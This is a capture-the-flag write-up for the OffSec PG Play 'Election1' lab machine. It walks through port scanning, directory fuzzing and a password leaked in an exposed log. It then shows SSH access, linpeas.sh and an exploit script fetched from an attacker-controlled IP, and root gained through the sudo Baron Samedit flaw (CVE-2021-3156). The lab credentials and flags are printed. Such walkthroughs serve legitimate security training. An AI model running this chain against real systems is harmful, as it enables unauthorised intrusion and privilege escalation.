

tags: Offsec PG Play Easy Linux # Election1

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.163.211 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.163.211:22
Open 192.168.163.211:80

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 20:dl:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA)
|_ ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQCoqt4FP0lhkJ0tTiMEUrVqRiCNKgQK22LJCOIValyoZf+bgOqsR4mIDjgpaJm/SDrAzRhVlD1dL6
apkv7T7iceuo5QDXyVRLWS+PfsEaGwGpEVtpTC1/BjDVVtohdzgErXS69pJhgo9a1yNgVrH/W2SUE1b36ODSNqVb690+aP6jjJdyh2wi8G
BlNMXBy6V5hR/qmFC55u7F/z5oG1tZxeZpDHbgdM94KRO9dR0WfKDIBQGa026GGcXtN10wtui2UH065/6WgIGlLxgjppvOQUBMzj1SHuYq
nKQLZyQ18E8oxLZTjc6OC898TeYMytyKW0viUzeaqFxXPDwdI6G91J
|_ 256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA)
|_ ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBO9gF8Fv+Uox9ftsV/DNkPNObtE4BiaXjwksbOizwtXBepSbhUTy
L5We/fWe7x62XW0CMFJWcuQsBNS7IyjsE=
|_ 256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINfCRDfwNshxW7uRiu76SMZx2hg865qS6TApHhvwKSH5
80/tcp    open  http      syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_ http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```ffuf``` scan path
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.163.211/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt
```

```
.htpasswd [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 4640ms]
.htaccess [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 4641ms]
.hta [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 4645ms]
index.html [Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 61ms]
javascript [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 60ms]
phpmyadmin [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 64ms]
phpinfo.php [Status: 200, Size: 95504, Words: 4715, Lines: 1170, Duration: 69ms]
robots.txt [Status: 200, Size: 30, Words: 1, Lines: 5, Duration: 62ms]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 60ms]
:: Progress: [4727/4727] :: Job [1/1] :: 630 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
``` Check http://192.168.163.211/robots.txt
```

```
admin
wordpress
user
election
``` Only `http://192.168.163.211/election` is accessible; continue with `ffuf`
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.163.211/election/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt --recursion -fc 403
```

```
[INFO] Adding a new job to the queue: http://192.168.163.211/election/media/cache/FUZZ
[INFO] Starting queued job on target: http://192.168.163.211/election/themes/FUZZ
[INFO] Starting queued job on target: http://192.168.163.211/election/admin/ajax/FUZZ
[INFO] Starting queued job on target: http://192.168.163.211/election/admin/components/FUZZ
[INFO] Starting queued job on target: http://192.168.163.211/election/admin/css/FUZZ
[INFO] Starting queued job on target: http://192.168.163.211/election/admin/img/FUZZ
[INFO] Starting queued job on target: http://192.168.163.211/election/admin/inc/FUZZ
[INFO] Starting queued job on target: http://192.168.163.211/election/admin/js/FUZZ
```

[INFO] Starting queued job on target: http://192.168.163.211/election/admin/logs/FUZZ

[INFO] Starting queued job on target: http://192.168.163.211/election/admin/plugins/FUZZ

[INFO] Starting queued job on target: http://192.168.163.211/election/media/backgrounds/FUZZ

[INFO] Starting queued job on target: http://192.168.163.211/election/media/cache/FUZZ

``` Go to http://192.168.163.211/election/admin/logs/ and download system.log

```
[2020-01-01 00:00:00] Assigned Password for the user love: P@$w0rd@123
[2020-04-03 00:13:53] Love added candidate 'Love'.
[2020-04-08 19:26:34] Love has been logged in from Unknown IP on Firefox (Linux).
``` Use `love/P@$w0rd@123` to SSH login; in `/home/love` get `local.txt`
```

```
└─(kali㉿kali)-[~/pgplay]
└─$ ssh love@192.168.163.211
```

love@192.168.163.211's password: P@\$w0rd@123

love@election:~\$ cat local.txt

e81d3837536fe2582c4154e33570bbd3

``` linpeas.sh

```
love@election:~$ wget 192.168.45.212/linpeas.sh
love@election:~$ chmod +x linpeas.sh
love@election:~$ ./linpeas.sh
```

```
[+] [CVE-2021-3156] sudo Baron Samedit
```

```
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
```

```
[+] [CVE-2021-3156] sudo Baron Samedit 2
```

```
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
```

```
``` Use [CVE-2021-3156] (https://github.com/worawit/CVE-2021-3156?tab=readme-ov-file) get root, get proof.txt
in /root
```

love@election:~\$ wget 192.168.45.212/exploit\_nss.py

love@election:~\$ python3 exploit\_nss.py

## whoami

root

## python3 -c 'import pty; pty.spawn("/bin/bash")'

root@election:/root# cat proof.txt

946283e56080d5f7f2855432539c71c3

---